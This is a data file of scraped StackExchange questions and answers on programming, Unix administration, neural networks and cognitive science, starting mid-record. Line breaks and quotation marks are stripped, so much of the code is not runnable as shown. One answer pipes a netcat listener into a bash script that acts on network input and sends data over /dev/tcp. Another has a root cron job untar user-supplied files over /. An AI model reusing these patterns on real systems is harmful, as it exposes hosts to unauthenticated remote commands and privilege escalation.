currNode.out:                    self.repeats.setdefault(self.text[pos:pos+repeat], []).append(currNode.out[node].position)                # set the new maximum repeat size to this repeat size                self.max_repeat = repeat    text = readFile(ecoli.fasta)    tree = SuffixTree(text)    tree.printRepeats()The file 'ecoli.fasta' is simply a text file that is 4.5MB large filled with A,G,T,C characters (it's a DNA sequence).  The main for loop dies with a Memory Error after the 4,577,890th iteration.  At this point there are approximately 63,762 Nodes.  Any suggestions?"  , "title": "Python Longest Repeat"  , "tags": "python;algorithm;strings;tree;bioinformatics"  } 
{  "id": "_cs.51950"  , "question": "I've recently been working on creating a neural network to classify handwritten digits. I implemented 1-of-N encoding such that there are the same number of output nodes as possible digits (The expected output is 0 for all digits' nodes except for the digit that was inputted, which would be 1).Because this is a classification problem, I opted for Cross Entropy Error. I followed this model shown here: https://visualstudiomagazine.com/articles/2014/04/01/neural-network-cross-entropy-error.aspxand also shown here:http://www.mathworks.com/help/nnet/ref/crossentropy.htmlThe error function is:$$-\\frac1n\\sum y\\ln(\\hat y)$$Where $y$ is the expected output and $\\hat y$ is the predicted output.However, after I implemented my network I noticed a problem. Because this formula for cross entropy error does not account at all for the error of the predicted output for the nodes that have an expected output 0 (since the CE function multiplies all of those costs by the expected 0), the network tunes the weights/biases to always output nodes close to 1. Therefore, I end up getting a list of 1s. According to the CE cost function this is good because one of the outputs is spot on, but it doesn't even look at the other nodes' error  (which is huge), so it is impossible to decide on one output.Maybe I'm missing something? I see the alternate CE function is $$-\\frac1n\\sum y\\ln(\\hat y) + (1-y)\\ln(1-\\hat y)$$but according to the MathWorks link above, it shouldn't be used for 1-of-N encoding where there are more than $N=1$ output nodes (Not sure why this is the case).So my question would be:Why is the first Cross Entropy Error equation viable for classification if it does not account for the error of the nodes where 0 is expected, as it always tends all the nodes to 1?"  , "title": "Flaw with Cross Entropy Error in Neural Networks"  , "tags": "artificial intelligence;neural networks;functional programming"  } 
{  "id": "_opensource.184"  , "question": "Many software developing companies use open source tools or open source libraries. Sometimes they even tweak this software for their needs. So, one might argue that this tweaks should be given back to the OSS-project. That means, contributions of that company will become public.But what are the advantages for a company doing so? Are there any at all? Are there disadvantages?"  , "title": "What are the upsides for a company to contribute to an open-source software they use?"  , "tags": "contributor"  , "accepted_answer": "AdvantagesReduced maintenance. If a company uses custom patches, every time upstream changes, the company has to re-apply those patches when they update their custom version. This gets worse when upstream undergoes major refactors or changes in interfaces.Publicity. By having its name included in the project's contributor list, other users become aware of the company. This could mean potential hires who are interested in the project, but through the project apply for employment. There's also a lot of goodwill associated with open source software; Microsoft for example earned lots of kudos when it began contributing significant code to prominent open source software like Linux.Employee perks. Most software developers at companies are work-for-hire; every line of code they write is owned by the company. This means that when they go elsewhere, they cannot easily show the work they've done. But open source contributions are open for all, so they can point to specific projects and commits, improving their hireability and their market value. Also, some employees simply like contributing to open source projects for its own sake.Competition against a market leader. A major reason why lots of companies work on open source software is they can pool resources on an open project that is in competition with a dominant, closed rival. Open source allows them to share the workload. For example, OpenStack is a collaboration by hundreds of companies to compete against market leaders like Amazon.DisadvantagesCompetitive advantage. If a certain type of software is a company's competitive advantage, it is exceedingly unlikely that they'll share it, because obviously, their competitors can then take advantage of it. For this reason, most if not all corporate open source contributions are in software that is not part of their core business. Google for example does a lot of open source work with Android and WebKit, but that's because free and better mobile platforms and browsers helps point people to their bread-and-butter: viewing ads. There is almost no way that Google will open their search engine or ad serving software, without a major change in business models.Risk of losing intellectual property. Even if a piece of software isn't a company's competitive advantage, critical pieces of code could accidentally sneak into the open. A careless developer could accidentally contribute an advanced algorithm, for example. Because of this, most companies run their open contributions through their legal department first. Most don't bother with this because it's more trouble than it's worth.Risk of legal trouble. Not all code a company uses is fully owned by the company; there could be third party licensed code or code under NDAs and so forth. Accidentally opening these opens the company to legal problems. Again, most companies run through legal, and again most don't bother with the trouble."  } 
{  "id": "_unix.186827"  , "question": "Have a situation that SCP and SFTP wouldn't work for. I've RTFM for SSH, but can't find what I'm looking for. The scenario is that in order to transfer files to the server, I first SCP them into a user directory, then log in with SSH using a limited user account, SU to root, and then move the files where they need to be. Because the server does not allow root login, is there a way to login with SSH, SU to root, and transfer files from the local machine?Really I'm just looking for a more efficient practice then the going back-and-forth like I've been doing.As a addition, I'd appreciate any links in the comments to GUI clients that would allow this on a Mac so I could drag & drop files from the local machine into the appropriate remote directory. An SFTP GUI client seems the logical choice, but the required elevated user permissions prevents it from doing what I need."  , "title": "File transfers with SSH and switch-user"  , "tags": "linux;ssh;scp;sftp"  , "accepted_answer": "On your local system, create a skeleton of what you want.  For example, if you want to copy file foo to remote location /etc/foo, then you need to create an etc directory and then put foo into it.  Then tar the skeleton.  Now you can do this via cron as suggested by @Anthon in the comments to the question above.Step by step:On the remote host, create script like this:#!/bin/shDROP=/home/YOURUSERNAME/drop.tgzif [ ! -s $DROP ]; then exit 0; ficd /tar -pzxf $DROP && rm $DROPOn the remote host, add that script to a cron job that runs as root.On your local host, create the skeleton and populate the files you want copied:mkdir -p etcmkdir -p var/wwwcp -a foo etc/cp -a bar var/www/tar -pzcf drop.tgz etc varscp drop.tgz REMOTEHOST:rm -rf drop.tgz etc varThe drop.tgz will be extracted when the root's cron next runs.  Note, this will overwrite all kinds of things that you might not like.A safer option, assuming there are only a few files you need to modify, would be to make your user account have write access to them (chown or both chgrp and chmod g+w), then you can scp them directly."  } 
{  "id": "_codereview.60362"  , "question": "My requirement is to add two binary numbers, say 1001 and 0101 as binary1 and binary2.Partial Class Default2    Inherits System.Web.UI.Page    Dim carry As Boolean = False ' Boolean variable to hold the carry if occured    Protected Sub Button1_Click(sender As Object, e As System.EventArgs) Handles Button1.Click        Dim binary1 As String = TextBox1.Text 'First binary number        Dim binary2 As String = TextBox2.Text 'Second binary number        Dim result As String =  'to store the result        For i As Integer = Len(binary1 ) - 1 To 0 Step -1            result = bin_add(getbyte(binary1 , i), getbyte(binary1, i)) & result ' calling function        Next        If carry = True Then            result = 1 & result 'if a carry remains add it to the MSB        End If        MsgBox(rslt) 'Display the result    End Sub    Public Function bin_add(b1 As Boolean, b2 As Boolean) As String'Function which performs the addition of each single bits form the two inputs which is passed from the calling function        Dim result As Boolean        If b1 AndAlso b2 = True Then 'both values are 1/true            If carry = True Then                result = True                carry = True            Else                result = False                carry = True            End If        ElseIf b1 = False And b2 = False Then 'Both are 0/false            If carry = True Then                result = carry                carry = False            Else                result = False                carry = False            End If        Else            If carry = True Then                result = False                carry = True            Else                result = True                carry = False            End If        End If        If result = True Then            Return 1 'return 1 for Boolean true        Else            Return 0 'return 0 for Boolean false        End If    End Function    Private Function getbyte(s As String, ByVal place As Integer) As String'Function for getting each individual letters from the input string. i got it from net.        If place < Len(s) Then            place = place + 1            getbyte = Mid(s, place, 1)        Else            getbyte =         End If   End FunctionEnd ClassNotes:It gives good results for me only if the no. of digits in both numbers are the same.Question:How can I improve the code? Especially, how can I reduce the length of code?"  , "title": "Adding string binary numbers"  , "tags": "strings;vb.net"  , "accepted_answer": "For now, let's ignore the fact that there are easier ways to add binary numbers. There are other issues with this code. Inherits System.Web.UI.PageWhy is code that adds binary numbers inheriting from a UI class? There's no need for this. Separate the concerns and create a module for this code instead. carry is scoped to the class level. This is a symptom of problems in this code. Protected Sub Button1_Click(sender As Object, e As System.EventArgs) Handles Button1.Click    Dim binary1 As String = TextBox1.Text 'First binary number    Dim binary2 As String = TextBox2.Text 'Second binary number    Dim result As String =  'to store the result    For i As Integer = Len(binary1 ) - 1 To 0 Step -1        result = bin_add(getbyte(binary1 , i), getbyte(binary1, i)) & result ' calling function    Next    If carry = True Then        result = 1 & result 'if a carry remains add it to the MSB    End If    MsgBox(rslt) 'Display the resultEnd SubGetting the values from the UI makes sense, but then you loop over bin_add, which obviously doesn't actually add anything, or you wouldn't need to loop or have a class variable. All of this logic should happen inside of bin_add.bin_add should take in two strings, handle all of the logic, and return a single string representing the output. While I'm at it, methods should have PascalCased verb-noun names. This method should be called AddBinary and I will refer to it as such for the rest of the review.  As I said earlier, I wouldn't expect a Function that adds binary numbers to take in Boolean values. I would rather it actually take in a byte and overload the method to handle string representation, but I'm lazy and you don't seem to need all that.Putting it all together, the signature line Public Function bin_add(b1 As Boolean, b2 As Boolean) As StringShould look like this. Public Function AddBinary(value1 as String, value2 as String) As StringImplementing this change will be left as an exercise for the reader. "  } 
{  "id": "_unix.168737"  , "question": "I have a command in a bash script which I want to capture the output of and then send it to the background. How do I get this done?The following doesn't seem to work (it keeps blocking and outputs nothing)result=`node /var/www/animekyun/node/node_modules/peerflix/app.js $torrent -r -q &`This doesn't seem to work. The output is 2 lines btw which I want to store in a variable as an array. This way I can use the output in the rest of my script."  , "title": "Store stdout in variable and send command to background"  , "tags": "bash;shell;background process;command substitution"  , "accepted_answer": "Untested, but this might work with a FIFO:filename=/tmp/my.fifomkfifo $filenamenode /var/.../app.js $torrent -r -q >$filename &{ read first_line; read second_line; } <$filename# do something with $first_line and $second_line"  } 
{  "id": "_softwareengineering.184290"  , "question": "I want to start a little project, where I want to connect several of my devices. Some are Android mobile devices, others are desktop devices like a PC or laptop. Furthermore I want keep the project as generic as possible. Means I want to share it, so other people can use it.By connecting I mean send messages between them. My problem is, that I'am not sure what technology or architecture to use, and hope to get some advice from you. (I think this question is more about software architecture then gorilla vs. shark)I have considered several approaches already. I looked at Google's Cloud Messaging, but that seems not to fit my requirements, where several users can register to send independent messages. It looks more like, sending from one master to several devices.The next thing I thought about was something lile VLC did with its Android remote app, where the desktop application hosts something like a server to which the mobile app must connect. This seems to be limited to LAN and only fits to about 80% of my use cases.Is there another approach which does not require something like a server who is aware of all clients, which has to seperate the user's devices and route the messages?"  , "title": "How to connect several (mobile) devices"  , "tags": "architecture;mobile"  } 
{  "id": "_unix.167697"  , "question": "I am accessing a Unix system using Putty and need to copy the content of one of the Unix files into my local Windows. How can I do this?"  , "title": "Copying content of a remote file into the local clipboard over PuTTY"  , "tags": "putty;clipboard"  } 
{  "id": "_unix.67281"  , "question": "I'm working on booting a headless server (Fedora 16), entering the passphrase to decrypt the root disk (LUKS) over SSH using dropbear. I've got dropbear all working: I can SSH to the server while it's sitting and waiting for the password. But I can't figure out how to actually pass the password to use.The crypt script that asks for the password and decrypts the volume uses the plymouth ask-for-password command; is there a way to pass the password into this command from the command line? I've tried writing to the process's stdin, but that didn't work. Is there some other way I can do it?"  , "title": "Provide passphrase to plymouth ask-for-password from command line"  , "tags": "ssh;boot;luks"  , "accepted_answer": "I ended up creating a kind of hacky work around, but it is working for me, and I've been using it for several months now. It basically just replaces the cryptroot-ask shell script with a custom one that waits for you to SSH in, unlock the disk yourself, and then delete a file to indicate that it's gone. Replacement of the cryptroot-ask script is done based on a option passed to the kernel, so you can easily disable it from your GRUB, or your bootloader of choice.It's all available from: https://bitbucket.org/bmearns/dracut-crypt-wait"  } 
{  "id": "_webmaster.108763"  , "question": "Something strange happened to a website that I manage. I can access all pages (including ACP) except the front page.For example I can access this page: http://www.icisequynhon.com/conferences/2016/mechanobiology/news-deadline/but the front page http://www.icisequynhon.com/conferences/2016/mechanobiology/ will direct to http://rencontresduvietnam.org/conferences/2016/mechanobiology/ (where I hosted the website previously). I have checked in Settings and the URLs there are correct.Could you please help?Thank you very much in advance!"  , "title": "Wordpress: cannot access the front page"  , "tags": "wordpress"  } 
{  "id": "_softwareengineering.84542"  , "question": "I'm a very ambitious university student who wishes to learn pretty much everything there is to know about computers (bash me if you want, I love learning). Recently I thought it would be a fun project (albeit a lengthy one) to design and build my own kernel.I got some basic info and I've gathered that I need to master Assembly and C/C++ to really make this work. While I'm working on those, I'd like to learn HOW a kernel actually works from a programming perspective. I've spent hours browsing the linux kernel's code but that can only take you so far.What are the basic steps in building a kernel? Things you need to address? Order or doing things? I know I'm biting off a lot but I'm determined enough to handle it."  , "title": "Advice for an ambitious student on building your own kernel"  , "tags": "c;assembly;kernel"  , "accepted_answer": "What you need to do is design the operating system. Even if, for example, you decide it should be a UNIX-like system, there are still lots of decisions to make. How much like UNIX do you want it to be? Which parts of UNIX do you like and which do you think need improvement?If you aren't set on its being UNIX-like, you end up with even more questions to answer: should processes form a tree, or are they flat? What kinds of inter-process communication do you want to support? Do you want it to be multi-user, or just multi-tasking (or possibly single-tasking)? Do you want it to be a real-time system? What degree of isolation do you want to provide between tasks? Where do you want it to fall on the monolithic vs. micro-kernel scale? To what degree (if any) do you want it to support distributed operation?I'd generally advise against studying the Linux kernel for your inspiration. That's nothing against the Linux kernel itself, but a simple fact that Linux is intended primarily for production use, not education. It has lots of optimization, backward compatibility hacks, etc., that are extremely useful for production but more likely to distract than educate.If you can find it, a copy of Lion's book (Lions' Commentary on UNIX 6th Edition, with Source Code, by John Lions) is a much easier starting point. 6th Edition UNIX was still small and simple enough to read and understand fairly quickly, without being an oversimplified toy system.If you're planning to target the x86 (at least primarily) you might also want to look at MMURTL V 1.0 by Richard Burgess. This presents a system for the x86 that uses the x86 hardware much more as the CPU designers originally intended -- something most real systems eschew in favor of portability to other CPUs. As you might guess, this tends to be oriented much more heavily toward the hardware end of things. Printed copies seem to be expensive and hard to find, but you can download the text and code for free.Fortunately, there are quite a few more possibilities as well -- Operating System Design and Implementation, by Andrew Tanenbaum and Albert Woodhull, for example. "  } 
{  "id": "_cogsci.1624"  , "question": "Most of the times, we associate symmetry with beauty. The symmetry may be in architectural/interior design for instance. Why would this be so ?"  , "title": "Why do humans prefer symmetrical arrangement of objects?"  , "tags": "perception;evolution;aesthetics"  , "accepted_answer": "Indicator of genetic fitness argumentThere is an evolutionary psychology argument. As with most evolutionary psychology arguments, the strength of the evidence is typically a bit fuzzy.Symmetry in many aspects of the human body is functional. Such symmetry might be seen as the natural state that arises from a healthy life and a youthful body. In contrast various genetic abnormalities, diseases, and the like  can give rise to asymmetry (e.g., scars, moles, freckles, ageing processes, deformities, etc.). The argument might continue that it is adaptive for us to seek out sexual partners  who appear genetically and environmentally fit where symmetry may be one indication of this fitness. One could even extend the evolutionary argument to suggest that it would be adaptive to avoid certain types of diseased individuals in order to reduce the risk of catching some disease, where various forms of asymmetry may be indicative of this.How does this explain our desire for symmetry in physical objects? The perception of beauty in the environment might be seen as an extension of perceptions of beauty in other people. Little and Jones also summarise this perspectiveOne explanation for the preference for symmetrical faces comes from a  postulated link to an evolutionary adaptation to identify high-quality  mates (see Thornhill & Gangestad (1999) for review). Symmetry in human  faces has been linked to potential heritable fitness (goodgenes)  because symmetry is a useful measure of the ability of an organism to  cope with developmental stress (both genetic and environmental). As  the optimal developmental outcome of most characters is symmetry,  deviation from perfect symmetry can be considered a reflection of  challenges to development. Only high-quality individuals can maintain  symmetrical development under environmental and genetic stress and  therefore symmetry can serve as an indicator of phenotypic quality as  well as genotypic quality (e.g. the ability to resist disease: see  Mller (1997) and Mller & Thornhill (1998) for reviews). This logic  would lead to a preference for high symmetry mates as evolution will  have favoured individuals who had preferences for high-quality mates  over low-quality mates. Indeed, morphological symmetry appears to be  related to reproductive success in many species, including humans  (Gangestad & Thornhill 1997a; Mller & Thornhill 1998). For example,  more symmetrical human males have more sexual partners than less  symmetrical men (Thornhill & Gangestad 1994) and symmetrical males are  also more likely to be chosen as extra-pair partners (Gangestad &  Thornhill 1997b). Thus the link between symmetry and attractiveness  may reflect that preferences for symmetrical individuals may be  potentially adaptive.Perceptual argumentEnquist and Arak (1994) articulate a perceptual clarity argument. They wrote (my bolding):Humans and certain other species find symmetrical patterns more  attractive than asymmetrical ones. These preferences may appear in  response to biological signals13, or in situations where there is no  obvious signalling context, such as exploratory behaviour4,5 and human  aesthetic response to pattern68. It has been proposed9,10 that  preferences for symmetry have evolved in animals because the degree of  symmetry in signals indicates the signaller's quality. By contrast, we  show here that symmetry preferences may arise as a by-product of the  need to recognize objects irrespective of their position and  orientation in the visual field. The existence of sensory biases for  symmetry may have been exploited independently by natural selection  acting on biological signals and by human artistic innovation. This  may account for the observed convergence on symmetrical forms in  nature and decorative art.ReferencesEnquist, M., Arak, A. & others (1994). Symmetry, beauty and evolution. Nature, 372, 169-172.Little, A.C. & Jones, B.C. (2003). Evidence against perceptual bias views for symmetry preferences in human faces. Proceedings of the Royal Society of London. Series B: Biological Sciences, 270, 1759-1763. PDF"  } 
{  "id": "_softwareengineering.342184"  , "question": "When we mean e-mail payload, are we talking about the whole message provided after DATA command or just the Body part of the message (without headers like From, Subject, Message-ID etc)?S: 220 smtp.server.com Simple Mail Transfer Service ReadyC: HELO client.example.comS: 250 Hello client.example.comC: MAIL FROM:<mail@samlogic.com>S: 250 OKC: RCPT TO:<john@mail.com>S: 250 OKC: DATAS: 354 Send message content; end with <CRLF>.<CRLF>C: <The message data (body text, subject, e-mail header, attachments etc) is sent>C: .S: 250 OK, message accepted for delivery: queued as 12345C: QUITS: 221 Bye"  , "title": "What is an email payload?"  , "tags": "email"  , "accepted_answer": "19.1.1. email.message: Representing an email messageAn email message consists of headers and a payload (which is also referred to as the content). Headers are RFC 5322 or RFC 6532 style field names and values, where the field name and value are separated by a colon. The colon is not part of either the field name or the field value. The payload may be a simple text message, or a binary object, or a structured sequence of sub-messages each with their own set of headers and their own payload. The latter type of payload is indicated by the message having a MIME type such as multipart/* or message/rfc822.In general, the payload is the part of transmitted data that is the actual intended message. The payload excludes any headers or metadata sent solely to facilitate payload delivery."  } 
{  "id": "_unix.55753"  , "question": "I use getopts to parse arguments in bash scripts aswhile getopts :hd: opt; do  case $opt in    d ) echo directory = $OPTARG; mydir=$OPTARG; shift $((OPTIND-1)); OPTIND=1 ;;    h ) helptext      graceful_exit ;;    * ) usage      clean_up      exit 1  esacdoneexeparams=$*exeparams will hold any unparsed options/arguments. Since I want to use exeparams to hold options for a command to be executed within the script (which can overlap with the scripts own options), I want to use -- to end the options passed to the script. If I pass e.g.myscript -d myscriptparam -- -d internalparamexeparams will hold -- -d internalparamI now want to remove the leading -- to pass these arguments to the internal command. Is there an elegant way to do this or can I obtain a string which holds just the remainder without -- from getopts?"  , "title": "How to deal with end of options -- in getopts"  , "tags": "bash;getopts"  , "accepted_answer": "How about:# ... getopts processing ...[[ $1 = -- ]] && shiftexeparams=($@)Note, you should use an array to hold the parameters. That will properly handle any arguments containing whitespace. Dereference the array with ${exeparams[@]}"  } 
{  "id": "_unix.279332"  , "question": "I'm new to shell programming and I have created a script that opens a connection to a server of mine. I want to have this script listen for an input from a client node and use that to run a function. This is my process.Run script > opens listener > on second computer use netcat to connect > run a function in the script on the server called nodefunctionI have server_port coded to '4444'File name: run_hangmannc -l -k -v -p 4444 | bash hangmanFile name: hangman#!/bin/bashmsg_timeout=0host_ows=1server_port=4444dubOws=xxx.xxx.xxx.xxxinitServer() {    hostIP=`ip -o addr show dev eth0 | awk '$3 == inet {print $4}' | sed -r 's!/.*!!; s!.*\\.!!'`    hostOws=`echo $hostIP | cut -d . -f 4`} servermsg(){ #message    //if = --n, echos on same line    if [ $1 != --n ]    then        echo `date +%T` [SERVER] $1    else        echo -n `date +%T` [SERVER]     fi}owsmsg(){    #message    //if = --n, echos on same line    if [ $1 != --n ]    then        echo `date +%T` [OWS]    $1    else        echo -n `date +%T` [OWS]        fi}playermsg() {    if [ $1 != --n ]    then        echo `date +%T` [PLAYER]    $1    else        echo -n `date +%T` [PLAYER]        fi}question(){  #question, read, example    servermsg $1    if [ -n $3 ]    then        servermsg $3    fi    read $2    echo }owsArray(){   #    for targetOws in $player_list    do        owsArray+=(OWS$targetOws)    done    echo -n ${owsArray[*]}    echo}openSocket() {    servermsg Starting the Game Listener    servermsg Opening Listener on port $server_port    #nc -k -l $server_port |bash        #nc -kl -q 1 -p $server_port # This should create the listener & This is where everything stops.    servermsg Now listening on port $server_port}initServerowsmsg Starting server on OWS$hostOws...question Enter all the OWSs that will play: player_list Example: 1 9 14 23echo $player_listquestion Type a category hint: game_cat Example: Type of Animalquestion Type your word: game_word Example: zebraquestion How many guesses: game_guesses Example: 7servermsg OWS$host_ows has created a Hangman sessionservermsg Players are:; servermsg --n; owsArrayservermsg Your word is ${#game_word} letters long and players have $game_guesses guessesquestion If this is all correct press enter, or CTRL+C to cancelopenSocket# I think I need a While script here to read the RAW input and run the playermsg function with the input?I run the run_hangman file and then I connect to it via my node computer. I enter the following line and echo 1 2 3 because that is what I need. I also can't enter 1 2 3 directly into the window running run_hangman as if I press enter it goes to a new line.echo 1 2 3 >/dev/tcp/xxx.xxx.xxx.xxx/4444The server shows that it connectedListening on [0.0.0.0] (family 0, port 4444)14:52:24 [OWS]    Starting server on OWS225...14:52:24 [SERVER] Enter all the OWSs that will play:14:52:24 [SERVER] Example: 1 9 14 23Connection from [xxx.xxx.xxx.xxx] port 4444 [tcp/*] accepted (family 2, sport 41564)Connection closed, listening again.1 2 3Now once it gets to openSocket it will allow me to send one more echo and then it closes on the server. I need to get what I presume is a while statement and have it listen for an input like playermsg 'has started a game' and have it actually run that function on the server.Will I be able to get this to run, almost seems like it has to be in the background? I've been using nc(1) for reference and some websites said to try -d and that didn't work either."  , "title": "netcat daemon for calling functions in sh script"  , "tags": "tcp;daemon;function;netcat"  , "accepted_answer": "I got it figured out. I did indeed need a while statement.openSocketwhile read -r value; do    val=${value:10}    if [[ $value == playermsg* ]]; then         val=${value:10}        playermsg $val    elif [[ $value == servermsg* ]]; then         val=${value:10}        servermsg $val    else        echo Returned $value        echo Value was $val    fidoneSo now on the second computer I simply runecho playermsg testing >/dev/tcp/xxx.xxx.xxx.xxx/4444Then the server displays the following:15:29:36 [SERVER] Starting the Game Listener15:29:36 [SERVER] Opening Listener on port 444015:29:36 [SERVER] Now listening on port 444015:29:37 [PLAYER] testing"  } 
{  "id": "_unix.7556"  , "question": "Some people told me FreeBSD is NOT Unix, is that right? I'm confused.I checked some articles, but the expressions are pretty vague, and I need some clarification."  , "title": "Some people told me FreeBSD is NOT Unix, is that right? Confused"  , "tags": "freebsd"  , "accepted_answer": "It all come down to whether you are speaking legally, or from a technology viewpoint.  Legally, FreeBSD, like Linux, cannot use the trademarked term Unix.  From a technology point of view, FreeBSD is as much Unix as Solaris, HP-UX, or any of the other commercial versions that have paid to be able to be legally called Unix. "  } 
{  "id": "_unix.166465"  , "question": "I have this really typical problem. I have an XML file that I have to post to a server. I was told by the network engineer of that site to use the cURL function. The function that he provided to me was...curl --data-binary @/opt/somefile.xml http://1.2.3.4/gateway/submit?source=FOO&conversationid=1234567When I run this command I keep getting the error Bad URL, returning 400 statusI have been stuck on this problem for quite a while now and I am getting seriously frustrated. I have tried running...curl http://1.2.3.4/gateway/submit?source=FOO&conversationid=1234567and I am getting a response from the machine Test Message along with some identification parameters of the host system. What this would probably mean that the URL of the destination is OK and it is being accessed via the cURL command. Are there any special requirements for sending XML files via --data-binary?Does the XML need to be formatted in a special way?Is the syntax of the cURL command incorrect?"  , "title": "Posting XML through cURL using --data-binary"  , "tags": "curl"  , "accepted_answer": "The & is interpreted by the shell you should use quotes (') around the URL:curl --data-binary @/opt/somefile.xml 'http://1.2.3.4/gateway/submit?source=FOO&conversationid=1234567'"  } 
{  "id": "_codereview.15640"  , "question": "Please comment on the same. How can it be improved?Specific improvements I am looking for:Memory leaksC++ styleMaking code run fasterRAII#include<iostream>#include<algorithm>template <typename T>class Stack {private:    T* array_;    int length_;    T* last_;    void expandArray();public:    Stack(int length = 8) :        array_(new T[length]),        length_(length),        last_(array_)    {}    Stack<T>& push(const T&);    Stack<T>& pop();};template<typename T>void Stack<T>::expandArray() {    T* array_temp = new T[length_ << 1];    std::copy(array_, array_ + length_, array_temp);    std::swap(array_, array_temp);    delete[] array_temp;    last_ = array_ + length_ - 1;    length_ <<= 1;}template<typename T>Stack<T>& Stack<T>::push(const T& data) {    if (last_ == (array_ + length_ - 1)) {        expandArray();    }    last_[0] = data;    last_++;    std::cout << [ << data << ] pushed. << std::endl;    return *this;}template<typename T>Stack<T>& Stack<T>::pop() {    if(array_ != last_) {        last_--;        std::cout << [ << last_[0] << ] popped. << std::endl;    } else {        std::cout << Nothing to pop. << std::endl;    }    return *this;}int main() {    Stack<std::string> s;    s.push(std::string(a))     .push(std::string(b))     .push(std::string(c))     .push(std::string(d));    s.pop().pop().pop().pop().pop();}"  , "title": "Stack implementation using arrays"  , "tags": "c++;array;stack"  , "accepted_answer": "First of all, I would specify that your stack is using a dynamically allocated array, as opposed to just an array, as I at first expected a C array when looking at the title.  That varies from person to person, though.On to more important things:I would not print anything in the stack functions.  If someone wants information on what they're pushing and popping, let them do it themselves.You seem to be missing a peek function.Either throw an exception or add an assert to pop for the array_ == last_ case.length_ should actually be called capacity_.expandArray may leak memory if the copy throws.  I would use an std::vector<T*> internally for this stuff.You don't check that length > 0 in the constructor.I would not allocate so anything by default.You lack all three of a copy constructor, assignment operator, and destructor, so you'll definitely leak memory.  You should also have a move constructor and a move assignment operator, but those aren't as critical.You provide no way to check whether the stack is empty."  } 
{  "id": "_unix.163964"  , "question": "I'm trying to assign some variables from a lookup file with a shell script.I have something working but it seems unnecessary slow.Script:while read line               do                   code=`echo $line | awk -F' ' '{print $1}'`;        device=`echo $line | awk -F' ' '{print $2}'`;        state=`echo $line | awk -F' ' '{print $3}'`;        if  [[ $code == $message ]]            then                echo Translated: $device-$state;        fidone <CODE-LIST.txtCODE-LIST.txt:MQTT-CODE   DEVICE  STATE1-1-32-16236607 RGB_LED ON1-1-32-16203967 RGB_LED OFFIs there a faster way to do this? (Maybe awk or sed)Thanks for the help!"  , "title": "Shell script to assign values from a lookup table is too slow"  , "tags": "linux;shell script;sed;awk;string"  , "accepted_answer": "How about:while read code device state junk; do    if [[ $code == $message ]]; then        echo Translated: $device-$state    fidone <CODE-LIST.txtUsing extra processes (i.e. forking awk everytime) will slow it a lot. read will read multiple fields, separated by $IFS (default value is all white space). The last variable listed will receive the rest of the line if any.I'm just wondering where $message is supposed to come from. Outside the code snippet perhaps?EDIT:If the code part will only occur once in the input, then you can break out of the loop once it's been found, that will speed things up as well."  } 
{  "id": "_unix.169886"  , "question": "I'm using less to parse HTTP access logs. I want to view everything neatly on single lines, so I'm using -S.The problem I have is that the first third of my terminal window is taken up with metadata that I don't care about. When I use my arrow keys to scroll right, I find that it scrolls past the start of the information that I do care about!I could just delete the start of each line, but I don't know if I may need that data in the future, and I'd rather not have to maintain separate files or run a script each time I want to view some logs.ExampleThis line:access.log00002:10.0.0.0 - USER_X [07/Nov/2013:16:50:50 +0000] GET /some/long/URLWould scroll to: ng/URLQuestionIs there a way I can scroll in smaller increments, either by character or by word?"  , "title": "Horizontal scrolling in smaller increments with less -S"  , "tags": "less;scrolling"  , "accepted_answer": "The only horizontal scrolling commands scroll by half a screenful, but you can pass a numeric argument to specify the number of characters, e.g. typing 4 Right scrolls to the right by 4 characters. Less doesn't really have a notion of current line and doesn't split a line into words, so there's no way to scroll by a word at a time.You can define a command that scrolls by a fixed number of characters. For example, if you want Shift+Left and Shift+Right to scroll by 4 characters at a time:Determine the control sequences that your terminal sends for these key combinations. Terminals send a sequence of bytes that begin with the escape (which can be written \\e, \\033, ^[ in various contexts) character for function keys and keychords. Press Ctrl+V Shift+Left at a shell prompt: this inserts the escape character literally (you'll see ^[ on the screen) instead of it being processed by your shell, and inserts the rest of the escape sequence. A common setup has Shift+Left and Shift+Right send \\eO2D and \\eO2C respectively.Create a file called ~/.lesskey and add the following lines (adjust if your terminal sends different escape sequences):#command\\eO2D noaction 4\\e(\\eO2c noaction 4\\e)Then run lesskey, which converts the human-readable ~/.lesskey into a binary file ~/.less that less reads when it starts."  } 
{  "id": "_unix.84116"  , "question": "AFAIK, support for the xVM Hypervisor - basically Xen - has been dropped in Solaris 11.  Is there an alternative/replacement for it?  How does it compare to Xen?Obviously there is zones if you want to run Solaris, and there is VirtualBox if you want a virtual computer in a separate program. But is there anything similar to Hypervisor/Xen?"  , "title": "Solaris11: Alternative to xVM Hypervisor?"  , "tags": "solaris;virtual machine;virtualization"  , "accepted_answer": "For running Solaris in dom0, no. Oracle has euthanized it. xVM worked on Solaris 10 but it broke during the development cycle of OpenSolaris (it's completely broken and unusable on snv_134, but probably earlier). Neither Oracle nor the Illumos community has shown any interest in getting a Solaris kernel running in dom0.Oracle's replacement product is OracleVM. On Sparc that means Solaris LDOMs. On x86 that means Xen with Oracle Linux in dom0.In the Illumos community, Joyent has ported Linux's KVM to the Illumos kernel. It's available at least from SmartOS, but I believe it's also available in OpenIndiana and OmniOS**.If you want Xen I suggest Debian. If you want ZFS* I suggest OmniOS or SmartOS and use KVM.* FreeBSD still can't run dom0.** As years have passed, KVM is available in most, if not all illumos distributions and Joyent has resurrected LX-brand zones as part of SmartOS and are now also in OmniOS."  } 
{  "id": "_unix.260128"  , "question": "Just installed Nagios on SERVER (10.20.8.106) and attached a CLIENT (10.20.10.11). So I defined my host and and a service for check_nrpe. It is working. So I have check_nrpe plugin in the plugins(/usr/lib64/nagios/plugins/) directory of SERVER and CLIENT. I didn't know which check_nrpe was executed.On the SERVER:$/usr/lib64/nagios/plugins/check_nrpe -H 10.20.10.11NRPE v2.15On the CLIENT:$usr/lib64/nagios/plugins/check_nrpe -H 10.20.8.106connect to address 10.41.8.106 port 5666: No route to hostconnect to host 10.41.8.106 port 5666: No route to hostThe above confirmed to me that the check_nrpe plugin in SERVER's plugin directory was executed. So why do we have the plugins directory in the CLIENT? At first I thought, SERVER executes them from the plugin directory of CLIENT. And the plugins at SERVER side were used for doing checks on the same machine.I am confused at this moment.Can anybody clarify."  , "title": "Nagios plugins are executed from server plugins or client plugins?"  , "tags": "nagios;nrpe"  , "accepted_answer": "We have the plugins directory in the monitored host (CLIENT), because you installed the nagios plugins.Nagios monitoring host executes the check_nrpe plugin specified for example as the following command:$USER1$/check_nrpe -H $HOSTADDRESS$ -c check_disk$HOSTADDRESS$ is the IP address of your CLIENT machine (monitored host).On the monitored host the nrpe 